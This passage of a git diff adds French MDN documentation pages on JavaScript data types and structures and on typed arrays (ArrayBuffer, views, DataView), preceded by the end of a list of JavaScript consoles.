+ <li><a href="/fr/docs/xpcshell">xpcshell</a> est un shell qui peut utiliser <a href="/fr/docs/XPConnect">XPConnect</a>, ce qui est parfois utile pour du développement Mozilla.</li>
+ <li><a href="http://jsconsole.com/">jsconsole.com</a> est une console JavaScript open-source, qui permet notamment de créer facilement des liens vers les expressions saisies précédemment.</li>
+ <li><a href="http://www.squarefree.com/shell/">JavaScript Shell (page web)</a>  est aussi disponible avec l'extension <a class="link-https" href="https://addons.mozilla.org/fr/firefox/addon/extension-developer/">Developer Assistant</a>.</li>
+ <li><a href="http://billyreisinger.com/jash/">Jash: JavaScript Shell</a> est un shell DHTML qui donne un accès en ligne de commande à une page web.</li>
+ <li><a href="https://github.com/bard/mozrepl">MozRepl</a> permet de se connecter à Firefox et à d'autres applications Mozilla, de les explorer, et de les modifier depuis l'intérieur pendant leur exécution.</li>
+ <li><a href="https://addons.mozilla.org/fr/firefox/addon/execute-js/">Execute JS</a> est une extension Firefox qui propose une console JavaScript améliorée, où il est possible d'exécuter facilement du code JavaScript et de modifier des fonctions. Cette extension n'est plus maintenue.</li>
+ <li><a href="https://addons.mozilla.org/addon/159546">xqjs</a> est une console simple pour Firefox.</li>
+ <li><a href="https://addons.mozilla.org/fr/firefox/addon/firebug/">Firebug</a> est un ensemble d'outils pour les développeurs, qui contient notamment une console.</li>
+ <li><a href="http://es6console.com">ES6Console.com</a> - Une console JavaScript open-source qui permet de tester du code ECMAScript 2015 (ES6) dans le navigateur.</li>
+</ul>
diff --git a/files/fr/web/javascript/structures_de_données/index.html b/files/fr/web/javascript/structures_de_données/index.html
new file mode 100644
index 0000000000..1b605a9fc7
--- /dev/null
+++ b/files/fr/web/javascript/structures_de_données/index.html
@@ -0,0 +1,319 @@
+---
+title: Structures de données
+slug: Web/JavaScript/Structures_de_données
+tags:
+  - Débutant
+  - JavaScript
+  - Types
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>Les langages de programmation disposent de structures de données natives. Selon les langages, les structures mises à disposition peuvent être différentes. Dans cet article, on listera les structures de données natives en JavaScript. On détaillera leurs propriétés et les façons de les utiliser voire de les combiner. Dans certains cas, on comparera ces structures avec celles d'autres langages.=</p>
+
+<h2 id="Un_typage_dynamique">Un typage dynamique</h2>
+
+<p>JavaScript est un langage dont le typage est <em>faible</em> et <em>dynamique</em>. Cela signifie qu'il n'est pas nécessaire de déclarer le type d'une variable avant de l'utiliser. Le type de la variable sera automatiquement déterminé lorsque le programme sera exécuté. Cela signifie également que la même variable pourra avoir différents types au cours de son existence :</p>
+
+<pre class="brush: js">var toto = 42;       // toto est un nombre
+    toto = "machin"; // toto est une chaîne de caractères désormais
+    toto = true;     // et maintenant, toto est un booléen
+</pre>
+
+<h2 id="Les_types_de_données">Les types de données</h2>
+
+<p>Le dernier standard ECMAScript définit 8 types de données :</p>
+
+<ul>
+ <li>Sept types de données {{Glossary("Primitive", "primitifs")}}:
+  <ul>
+   <li>{{Glossary("Boolean", "Booléen")}}</li>
+   <li>{{Glossary("Null")}}</li>
+   <li>{{Glossary("Undefined")}}</li>
+   <li>{{Glossary("Number", "Nombre")}}</li>
+   <li>{{Glossary("BigInt")}} (proposition pour ES2020)</li>
+   <li>{{Glossary("String", "Chaîne de caractères")}} (String)</li>
+   <li>{{Glossary("Symbol", "Symbole")}} (type introduit avec ECMAScript 6)</li>
+  </ul>
+ </li>
+ <li>et le type {{Glossary("Object", "Objet")}}</li>
+</ul>
+
+<h2 id="Les_valeurs_primitives">Les valeurs primitives</h2>
+
+<p>Tous les types, sauf les objets, définissent des valeurs immuables (qu'on ne peut modifier). Ainsi, contrairement au C, les chaînes de caractères sont immuables en JavaScript. Les valeurs immuables pour chacun de ces types sont appelées « valeurs primitives ».</p>
+
+<h3 id="Le_type_booléen">Le type booléen</h3>
+
+<p>Un booléen représente le résultat d'une assertion logique et peut avoir deux valeurs : <code>true</code> (pour le vrai logique) et <code>false</code> (pour le faux logique) (voir {{jsxref("Boolean")}} pour plus de détails sur la représentation objet de ce type).</p>
+
+<h3 id="Le_type_nul">Le type nul</h3>
+
+<p>Le type nul ne possède qu'une valeur : <code>null</code>. Voir {{jsxref("null")}} et {{Glossary("Null")}} pour plus d'informations.</p>
+
+<h3 id="Le_type_indéfini">Le type indéfini</h3>
+
+<p>Une variable à laquelle on n'a pas affecté de valeur vaudra <code>undefined</code>. Voir {{jsxref("undefined")}} et {{Glossary("Undefined")}} pour plus d'informations.</p>
+
+<h3 id="Le_type_nombre">Le type nombre</h3>
+
+<p>ECMAScript possède deux types numériques natifs : <code>Number</code> et <code>BigInt</code> (cf. ci-après)</p>
+
+<p>Le type <code>Number</code> est géré pour représenter les nombres : <a href="https://en.wikipedia.org/wiki/Double_precision_floating-point_format">les nombres flottants à précision double, représentés sur 64 bits, selon le format IEEE 754</a> (les nombres compris entre -(2<sup>53</sup> -1) et 2<sup>53</sup> -1). <strong>Il n'y a donc pas de type à part pour représenter les nombres entiers</strong>. En plus de sa capacité à représenter les nombres décimaux, le type nombre possède trois valeurs symboliques : <code>+<a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Infinity">Infinity</a></code>, <code>-Infinity</code>, et {{jsxref("NaN")}} (<em>Not A Number</em> en anglais, qui signifie « n'est pas un nombre »).</p>
+
+<p>Afin de vérifier que des valeurs sont supérieures/inférieures à <code>+/-Infinity</code>, on peut utiliser les constantes {{jsxref("Number.MAX_VALUE")}} et {{jsxref("Number.MIN_VALUE")}}. À partir d'ECMAScript 6, on peut également vérifier si un nombre est/sera compris dans l'intervalle de représentation pour les nombres flottants à précision double en utilisant la méthode {{jsxref("Number.isSafeInteger()")}} ainsi que les valeurs {{jsxref("Number.MAX_SAFE_INTEGER")}} et {{jsxref("Number.MIN_SAFE_INTEGER")}}. En dehors de cet intervalle et pour JavaScript, on considère que les nombres ne sont plus représentés correctement qu'on manipule alors une approximation de la valeur sous forme d'un nombre à virgule flottante à précision double.</p>
+
+<p>Le type nombre possède un seul entier pouvant être représenté de deux façons différentes : 0 qui peut être représenté par -0 et +0. ("0" étant un alias pour +0). En pratique, cela n'a généralement aucun impact et<code> +0 === -0</code> vaut bien <code>true</code>. Malgré tout, on peut observer certaines différences quand on divise par zéro :</p>
+
+<pre class="brush: js">42 / +0
+// Infinity
+
+42 / -0
+// -Infinity
+</pre>
+
+<p>Dans la plupart des cas, un nombre représente sa propre valeur, malgré tout les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">opérateurs binaires</a> peuvent être utilisés pour représenter plusieurs valeurs booléennes grâce à un seul nombre (on parle alors de <a href="https://fr.wikipedia.org/wiki/Masquage">masque de bits</a>). Ceci est généralement une mauvaise pratique (lisibilité, maintenabilité) bien que ça puisse être utile lorsqu'on souhaite minimiser le nombre de bits qu'on utilise.</p>
+
+<h3 id="Le_type_BigInt">Le type <code>BigInt</code></h3>
+
+<p>Le type {{jsxref("BigInt")}} permet de représenter des entiers avec une précision arbitraire. Avec ce type, on peut donc manipuler des entiers plus grands que ceux représentables avec <em>Number</em>. Pour créer un grand entier, on ajoutera un <code>n</code> après l'entier ou on appellera le constructeur {{jsxref("BigInt")}}.</p>
+
+<p>La plus grande valeur représentable avec le type <em>Number</em> est accessible avec la constante {{jsxref("Number.MAX_VALUE")}}. Avec l'apparition de <code>BigInt</code>, on peut représenter et manipuler des entiers plus grands.</p>
+
+<pre class="brush: js">const x = 2n ** 53n;
+9007199254740992n;
+const y = x + 1n;
+9007199254740993n
+</pre>
+
+<p>À l'instar des nombres classiques, on peut utiliser les opérateurs <code>+</code>,  <code>*</code>, <code>-</code>, <code>**</code> et <code>%</code>. Un grand entier ne sera pas strictement égal à un nombre mais on pourra avoir une égalité faible.</p>
+
+<p>Un grand entier se comportera comme un nombre lorsqu'il est converti en booléen avec <code>if</code>, <code>||</code>, <code>&amp;&amp;</code>, <code>Boolean</code> et <code>!</code>.</p>
+
+<p>Il n'est pas possible d'utiliser des grands entiers et des nombres de façon interchangeable. Une exception {{jsxref("TypeError")}} sera déclenchée en cas d'incompatibilité.</p>
+
+<h3 id="Le_type_chaîne_de_caractères_String">Le type chaîne de caractères (<em>String</em>)</h3>
+
+<p>Ce type JavaScript est utilisé afin de représenter des données textuelles. C'est un ensemble d'« éléments » de valeurs entières non-signées représentées sur 16 bits. Chaque élément occupe une position au sein de cette chaîne de caractères. Le premier élément est situé à l'indice 0, le deuxième à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères correspond au nombre d'éléments qu'elle contient.</p>
+
+<p>À la différence des chaînes de caractères dans le langage C, les chaînes de caractères JavaScript sont immuables. Cela signifie qu'une fois qu'une chaîne est créée, il est impossible de la modifier. En revanche, il est toujours possible de créer une autre chaîne basée sur la première grâce à des opérations. Par exemple :</p>
+
+<ul>
+ <li>Un fragment de la chaîne originelle en sélectionnant certaines lettres ou en utilisant {{jsxref("String.substr()")}}.</li>
+ <li>Une concaténation de deux chaînes de caractères en utilisant l'opérateur de concaténation (<code>+</code>) ou {{jsxref("String.concat()")}}.</li>
+</ul>
+
+<h4 id="Attention_à_ne_pas_utiliser_les_chaînes_pour_tout_et_nimporte_quoi_!">Attention à ne pas utiliser les chaînes pour tout et n'importe quoi !</h4>
+
+<p>Ça peut être tentant de vouloir utiliser des chaînes afin de représenter des données complexes. En revanche, les avantages de cette méthode ne sont que très superficiels :</p>
+
+<ul>
+ <li>On peut facilement construire des chaînes complexes grâce à la concaténation.</li>
+ <li>On peut déboguer rapidement le contenu des chaînes de caractères.</li>
+ <li>Les chaînes de caractères sont utilisées à de multiples endroits dans beaucoup d'API (<a href="/fr/docs/Web/API/HTMLInputElement">champs de saisie</a>, valeurs en <a href="/fr/docs/Storage">stockage local</a>, réponses {{ domxref("XMLHttpRequest") }} avec <code>responseText</code>, etc.).</li>
+</ul>
+
+<p>En utilisant des conventions, il peut être possible de représenter n'importe quelle donnée sous forme d'une chaîne de caractères, en revanche cela n'est souvent pas la meilleure façon. (Par exemple, avec un séparateur, on pourrait émuler le comportement d'un tableau en « interdisant » que ce séparateur soit utilisé pour éléments, etc. on pourrait ensuite définir un caractère d'échappement, qui serait à son tour inutilisable dans les chaînes : toutes ces pseudo-conventions entraîneront de lourdes conséquences en termes de maintenance.)</p>
+
+<p>En résumé, les chaînes doivent être utilisées pour les données textuelles. Pour des données plus complexes, utilisez une abstraction adéquate et analysez/parsez les chaînes que vous recevez d'autres API.</p>
+
+<h3 id="Le_type_symbole">Le type symbole</h3>
+
+<p>Les symboles sont une nouveautés du langage, apportée par ECMAScript 6. Un symbole est une valeur primitive <strong>unique</strong> et <strong>immuable</strong> pouvant être utilisée comme clé pour propriété d'un objet (voir ci-après). Dans d'autres langages de programmation, les symboles sont appelés atomes. Pour plus de détails, voir les pages {{Glossary("Symbol","Symbole")}} et le constructeur {{jsxref("Symbol")}} JavaScript.</p>
+
+<h2 id="Les_objets">Les objets</h2>
+
+<p>En informatique, un objet est une valeur conservée en mémoire à laquelle on fait référence grâce à un {{Glossary("Identifier", "identifiant")}}.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<p>En JavaScript, les objets peuvent être considérés comme des collections de propriétés. En utilisant <a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Les_litt.C3.A9raux_objets">un littéral objet</a>, il est possible d'initialiser un ensemble limité de propriétés ; d'autres propriétés peuvent ensuite être ajoutées et/ou retirées. Les valeurs des propriétés peuvent être de n'importe quel type, y compris des objets. Cela permet de construire des structures de données complexes. Les propriétés sont identifiées grâce à une « clé ». Une clé peut être une chaîne de caractères ou un symbole.</p>
+
+<p>Il existe deux types de propriétés qui ont certains attributs : des propriétés de données (<em>data property</em>) et des propriétés d'accesseur.</p>
+
+<h4 id="Propriétés_de_données">Propriétés de données</h4>
+
+<p>Elles associent une clé avec une valeur et possèdent les attributs suivants :</p>
+
+<table class="standard-table">
+ <caption>Attributs d'une propriété de données</caption>
+ <tbody>
+  <tr>
+   <th>Attribut</th>
+   <th>Type</th>
+   <th>Description</th>
+   <th>Valeur par défaut</th>
+  </tr>
+  <tr>
+   <td>[[Value]]</td>
+   <td>N'importe quelle valeur JavaScript</td>
+   <td>La valeur obtenue lorsqu'on accède à la propriété.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Writable]]</td>
+   <td>Booléen</td>
+   <td>S'il vaut <code>false</code>, la valeur de la propriété (l'attribut [[Value]]) ne peut être changé.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Booléen</td>
+   <td>S'il vaut <code>true</code>, la propriété pourra être listée par une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code>. Voir également <a href="/fr/docs/Web/JavaScript/Caract%C3%A8re_%C3%A9num%C3%A9rable_des_propri%C3%A9t%C3%A9s_et_rattachement">l'article sur le caractère énumérable des propriétés</a>.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Booléen</td>
+   <td>S'il vaut <code>false</code>, la propriété ne pourra pas être supprimée, elle ne pourra pas être changée en accesseur et les attributs autres que [[Value]] et [[Writable]] ne pourront pas être modifiés.</td>
+   <td><code>false</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Attributes obsolètes (faisaient partie d'ECMAScript 3, renommés avec ECMAScript 5)</caption>
+ <tbody>
+  <tr>
+   <th>Attribut</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>Read-only</td>
+   <td>Booléen</td>
+   <td>État symétrique pour l'attribut ES5 [[Writable]].</td>
+  </tr>
+  <tr>
+   <td>DontEnum</td>
+   <td>Booléen</td>
+   <td>État symétrique pour l'attribut ES5 [[Enumerable]].</td>
+  </tr>
+  <tr>
+   <td>DontDelete</td>
+   <td>Booléen</td>
+   <td>État symétrique pour l'attribut ES5 [[Configurable]].</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Propriétés_daccesseur">Propriétés d'accesseur</h4>
+
+<p>Ces propriétés associent une clé avec un ou deux fonctions accesseur et mutateur qui permettent de récupérer ou d'enregistrer une valeur. Elles possèdent les attributs suivants :</p>
+
+<table class="standard-table">
+ <caption>Attributs d'une propriété d'accesseur</caption>
+ <tbody>
+  <tr>
+   <th>Attribut</th>
+   <th>Type</th>
+   <th>Description</th>
+   <th>Valeur par défaut</th>
+  </tr>
+  <tr>
+   <td>[[Get]]</td>
+   <td>Un objet <code>Function</code> ou <code>undefined</code></td>
+   <td>La fonction qui est appelée sans argument afin de récupérer la valeur de la propriété quand on souhaite y accéder. Voir aussi la page sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/get"><code>get</code></a>.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Set]]</td>
+   <td>Un objet <code>Function</code> ou <code>undefined</code></td>
+   <td>La fonction, appelée avec un argument qui contient la valeur qu'on souhaite affecter à la valeur et qui est exécutée à chaque fois qu'on souhaite modifier la valeur. Voir aussi la page sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set"><code>set</code></a>.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Booléen</td>
+   <td>S'il vaut <code>true</code>, la propriété sera listée dans les boucles <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code>.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Booléen</td>
+   <td>S'il vaut <code>false</code>, la propriété ne pourra pas être supprimée et ne pourra pas être transformée en une propriété de données.</td>
+   <td><code>false</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong>  Les attributs sont généralement utilisés par le moteur JavaScript plutôt qu'explicitement dans les scripts. Il est impossible d'y accéder directement (plus d'informations sur {{jsxref("Object.defineProperty()")}}. C'est pour cela que l'attribut est décrit entre double crochets (comme dans la spécification ECMAScript) plutôt qu'entre crochets simples qui pourraient laisser penser à une propriété « classique ».</p>
+</div>
+
+<h3 id="Les_objets_«_normaux_»_et_les_fonctions">Les objets « normaux » et les fonctions</h3>
+
+<p>Un objet JavaScript est un ensemble de correspondances entre des clés et des valeurs. Les clés sont représentées par des chaînes ou des symboles ({{jsxref("Symbol")}}). Les valeurs peuvent être de n'importe quel type. Grâce à cela, les objets peuvent, naturellement, être utilisés comme<a class="external" href="https://fr.wikipedia.org/wiki/Table_de_hachage"> tables de hachage</a>.</p>
+
+<p>Les fonctions sont des objets classiques à la seule différence qu'on peut les appeler.</p>
+
+<h3 id="Les_dates">Les dates</h3>
+
+<p>Lorsqu'on souhaite représenter des dates, il est tout indiqué d'utiliser le type utilitaire natif <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Date"><code>Date</code></a> de JavaScript.</p>
+
+<h3 id="Les_collections_indexées_les_tableaux_Arrays_et_les_tableaux_typés_Typed_Arrays">Les collections indexées : les tableaux (<em>Arrays</em>) et les tableaux typés (<em>Typed Arrays</em>)</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array">Les tableaux</a> (ou <em>Arrays</em> en anglais) sont des objets natifs qui permettent d'organiser des valeurs numérotées et qui ont une relation particulière avec la propriété <code>length</code>. De plus, les tableaux héritent de <code>Array.prototype</code> qui permet de bénéficier de plusieurs méthodes pour manipuler les tableaux. Par exemple, <code><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/indexOf">indexOf</a></code> qui permet de rechercher une valeur dans le tableau ou <code><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/push">push</a></code> qui permet d'ajouter un élément au tableau. Les tableaux sont donc indiqués quand on souhaite représenter des listes de valeurs ou d'objets.</p>
+
+<p><a href="/fr/docs/JavaScript/Tableaux_typ%C3%A9s">Les tableaux typés</a> (<em>Typed Arrays</em> en anglais) ont été ajoutés avec ECMAScript 6 et offrent une vue sous forme d'un tableau pour manipuler des tampons de données binaires. Le tableau qui suit illustre les types de données équivalents en C :</p>
+
+<p>{{page("fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray", "", 0, 3)}}</p>
+
+<h3 id="Les_collections_avec_clés_Maps_Sets_WeakMaps_WeakSets">Les collections avec clés : Maps, Sets, WeakMaps, WeakSets</h3>
+
+<p>Ces structures de données utilisent des clés pour référencer des objets. Elles ont été introduites avec ECMAScript 6. {{jsxref("Set")}} et {{jsxref("WeakSet")}} représentent des ensembles d'objets, {{jsxref("Map")}} et {{jsxref("WeakMap")}} associent une valeur à un objet. Il est possible d'énumérer les valeurs contenues dans un objet Map mais pas dans un objet WeakMap. Les WeakMaps quant à eux permettent certaines optimisations dans la gestion de la mémoire et le travail du ramasse-miettes.</p>
+
+<p>Il est possible d'implémenter les Maps et Sets grâce à ECMAScript 5. Cependant, comme les objets ne peuvent pas être comparés (avec une relation d'ordre par exemple), la complexité obtenue pour rechercher un élément serait nécessairement linéaire. Les implémentations natives (y compris celle des WeakMaps) permettent d'obtenir des performances logarithmiques voire constantes.</p>
+
+<p>Généralement, si on voulait lier des données à un nœud DOM, on pouvait utiliser les attributs <code>data-*</code> ou définir les propriétés à un même l'objet. Malheureusement, cela rendait les données disponibles à n'importe quel script fonctionnant dans le même contexte. Les Maps et WeakMaps permettent de gérer plus simplement une liaison « privée » entre des données et un objet.</p>
+
+<h3 id="Les_données_structurées_JSON">Les données structurées : JSON</h3>
+
+<p>JSON (JavaScript Object Notation) est un format d'échange de données léger, dérivé de JavaScript et utilisé par plusieurs langages de programmation. JSON permet ainsi de construire des structures de données universelles pouvant être échangées entre programmes. Pour plus d'informations, voir les pages {{Glossary("JSON")}} et {{jsxref("JSON")}}.</p>
+
+<h3 id="Les_autres_objets_de_la_bibliothèque_standard">Les autres objets de la bibliothèque standard</h3>
+
+<p>JavaScript possède une bibliothèque standard d'objets natifs. Veuillez lire la <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux">référence</a> pour en savoir plus sur ces objets.</p>
+
+<h2 id="Déterminer_le_type_des_objets_grâce_à_lopérateur_typeof">Déterminer le type des objets grâce à l'opérateur <code>typeof</code></h2>
+
+<p>L'opérateur <code>typeof</code> peut vous aider à déterminer le type d'une variable. Pour plus d'informations et sur les cas particuliers, voir la page de la référence sur <a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_sp%C3%A9ciaux/L'op%C3%A9rateur_typeof">cet opérateur</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-8', 'Types')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Ajout des symboles ({{jsxref("Symbol")}}).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Un ensemble de structures de données usuelles et d'algorithmes classiques, en JavaScript, par Nicholas Zakas</a> (en anglais)</li>
+ <li><a href="https://github.com/monmohan/DataStructures_In_Javascript">Implémentations de différentes structures de données et utilitaires de recherche en JavaScript</a> (en anglais)</li>
+</ul>
diff --git a/files/fr/web/javascript/tableaux_typés/index.html b/files/fr/web/javascript/tableaux_typés/index.html
new file mode 100644
index 0000000000..7ecfe6e9a8
--- /dev/null
+++ b/files/fr/web/javascript/tableaux_typés/index.html
@@ -0,0 +1,178 @@
+---
+title: Les tableaux typés en JavaScript
+slug: Web/JavaScript/Tableaux_typés
+tags:
+  - Advanced
+  - Guide
+  - JavaScript
+  - Typed Arrays
+translation_of: Web/JavaScript/Typed_arrays
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>Les tableaux typés JavaScript sont des objets semblables à des tableaux qui permettent d'accéder à des données binaires brutes. Pour rappel, les objets {{jsxref("Array")}} qui représentent des tableaux en JavaScript peuvent être agrandis ou réduits dynamiquement et permettent de stocker n'importe quelle valeur JavaScript. Afin que la manipulation de ces objets soit efficace, le moteur JavaScript applique un certain nombre d'optimisations. Cependant, avec les avancées réalisées (telles que les flux audio et vidéo avec WebRTC et les WebSockets), il devient nécessaire de pouvoir manipuler des données binaires brutes au sein de tableaux typés, c'est pour ça que ces objets ont été introduits.</p>
+
+<p>Ne pas confondre les tableaux typés et les tableaux « classiques » ({{jsxref("Array")}}). En effet, la méthode {{jsxref("Array.isArray()")}} renverra <code>false</code> lorsqu'elle sera utilisée sur un tableau typé. De plus, certaines des méthodes des tableaux « classiques » ne sont pas disponibles pour les tableaux typés (par exemple <code>push</code> et <code>pop</code>).</p>
+
+<h2 id="Tampon_de_mémoire_et_vue_l'architecture_des_tableaux_typés">Tampon de mémoire et vue : l'architecture des tableaux typés</h2>
+
+<p>Afin de permettre une meilleure efficacité et une meilleure flexibilité, l'implémentation des tableaux typés JavaScript est séparée entre : les <strong>tampons de mémoire (<em>buffers</em>)</strong> d'une part et <strong>les vues (<em>views</em>)</strong> d'autre part. Un tampon de mémoire, implémenté avec l'objet {{jsxref("ArrayBuffer")}}, est un objet qui représente un fragment de données, il n'a pas de format à proprement parler et n'offre aucune fonctionnalité pour accéder à son contenu. Afin d'accéder à la mémoire contenue dans le tampon, on doit utiliser une vue. Une vue fournit un contexte (c'est-à-dire un type de donnée, un emplacement pour le début de la lecture (<em>offset</em>) et un nombre d'éléments ; c'est ce contexte qui permet de définir le tableau typé.</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer"><code>ArrayBuffer</code></h3>
+
+<p>Le type {{jsxref("ArrayBuffer")}} est un type de données générique pour représenter un tampon de données de longueur fixe. Le contenu d'un <code>ArrayBuffer</code> ne peut pas être manipulé directement, il faut pour cela créer une vue sous forme d'un tableau typé ou une vue {{jsxref("DataView")}} qui représente le tampon dans un format donné et utiliser cet objet pour lire et écrire du contenu dans le tampon de données.</p>
+
+<h3 id="Les_vues_sous_forme_de_tableaux_typés">Les vues sous forme de tableaux typés</h3>
+
+<p>Les tableaux typés qui sont les vues sur ces tampons de mémoire possèdent des noms explicites correspondant aux types numériques habituels tels que <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> et ainsi de suite. Il existe un type de tableau typé spécial, <code>Uint8ClampedArray</code>. Ce type permet de ramener (<em>clamp</em>) les valeurs observées entre 0 et 255. Cela peut notamment être utilisé pour <a href="/fr/docs/Web/API/ImageData">traiter les données d'un canvas</a> par exemple.</p>
+
+<p>{{page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray")}}</p>
+
+<h3 id="DataView"><code>DataView</code></h3>
+
+<p>Le type {{jsxref("DataView")}} permet de créer des objets qui seront des interfaces (bas niveau) pour lire/écrire des données dans le tampon de mémoire. Cela peut par exemple être utile lorsqu'on souhaite manipuler différents types de données. Les vues sous forme de tableaux typés suivent le même boutisme (endianness) que la plate-forme. Avec un objet <code>DataView</code>, il est possible de définir l'ordre des octets à considérer (qui sera par défaut du grand boutisme (<em>big-endian</em>) mais qui pourra être défini en petit boutisme (<em>little-endian</em>) dans les différentes méthodes d'accès/écriture).</p>
+
+<h2 id="Les_API_Web_utilisant_les_tableaux_typés">Les API Web utilisant les tableaux typés</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/FileReader"><code>FileReader.prototype.readAsArrayBuffer()</code></a></dt>
+ <dd>La méthode <code>FileReader.prototype.readAsArrayBuffer()</code> permet de lire le contenu d'un <a href="/fr/docs/Web/API/Blob"><code>Blob</code></a> ou <a href="/fr/docs/Web/API/File"><code>File</code></a> donné.</dd>
+ <dt><a href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest.prototype.send()</code></a></dt>
+ <dd><code>XMLHttpRequest</code> et sa méthode <code>send()</code> peuvent désormais être utilisées avec un argument qui est un tableau typé ou un {{jsxref("ArrayBuffer")}}.</dd>
+ <dt><code><a href="/fr/docs/Web/API/ImageData">ImageData.data</a></code></dt>
+ <dd>Un objet du type {{jsxref("Uint8ClampedArray")}} qui représente un tableau unidimensionnel contenant les données de l'image dans l'ordre RGBA, les entiers utilisés sont compris entre <code>0</code> et <code>255</code> (au sens large).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_les_vues_et_les_tampons">Utiliser les vues et les tampons</h3>
+
+<p>Tout d'abord, il faut créer un tampon (<em>buffer</em>). Ici, on crée un buffer de 16 octets :</p>
+
+<pre class="brush:js">let buffer = new ArrayBuffer(16);
+</pre>
+
+<p>Grâce à cette instruction, on dispose désormaits d'un fragment de mémoire dont tous les octets sont pré-initialisés à 0. Si c'est déjà une bonne chose de faite, cela n'a pas grande utilité. On peut déjà confirmer que la longueur du tampon est bien celle spécifiée initialement :</p>
+
+<pre class="brush:js">if (buffer.byteLength === 16) {
+  console.log("Oui, il mesure bien 16 octets.");
+} else {
+  console.log("Non, ce n'est pas la bonne taille !");
+}
+</pre>
+
+<p>Avant qu'on puisse travailler avec ce tampon, il faut créer une vue. Ici, on crée une vue qui traite le tampon comme un tableau d'entiers signés représentés sur 32 bits :</p>
+
+<pre class="brush:js">let int32View = new Int32Array(buffer);
+</pre>
+
+<p>Désormais, on peut accéder aux éléments du tableau typé comme avec un tableau classique :</p>
+
+<pre class="brush:js">for (let i = 0; i &lt; int32View.length; i++) {
+  int32View[i] = i * 2;
+}
+</pre>
+
+<p>Ce fragment de code permet de remplir les 4 éléments du tableau (4 éléments faisant chacun 4 octets, ce qui remplit les 16 octets du tableau) avec les valeurs 0, 2, 4, et 6.</p>
+
+<h3 id="Plusieurs_vues_sur_les_mêmes_données">Plusieurs vues sur les mêmes données</h3>
+
+<p>On commence à avoir des cas d'utilisation intéressants quand on peut créer plusieurs vues sur les mêmes données. Ainsi, en utilisant le code précédent, on peut continuer avec :</p>
+
+<pre class="brush:js">let int16View = new Int16Array(buffer);
+
+for (let i = 0; i &lt; int16View.length; i++) {
+  console.log("Élément " + i + " : " + int16View[i]);
+}
+</pre>
+
+<p>Ici, on crée une vue pour des éléments sur 16 bits qui partage le même tampon que la vue précédente (qui était une vue avec des éléments sur 32 bits) et on affiche les valeurs contenues dans le tampon sous formes d'entiers représentés sur 16 bits. Le résultat obtenu est ici 0, 0, 2, 0, 4, 0, 6, 0.</p>
+
+<p>On peut aller encore plus loin, par exemple :</p>
+
+<pre class="brush:js">int16View[0] = 32;
+console.log("L'élément 0 du tableau 32 bits est désormais " + int32View[0]);
+</pre>
+
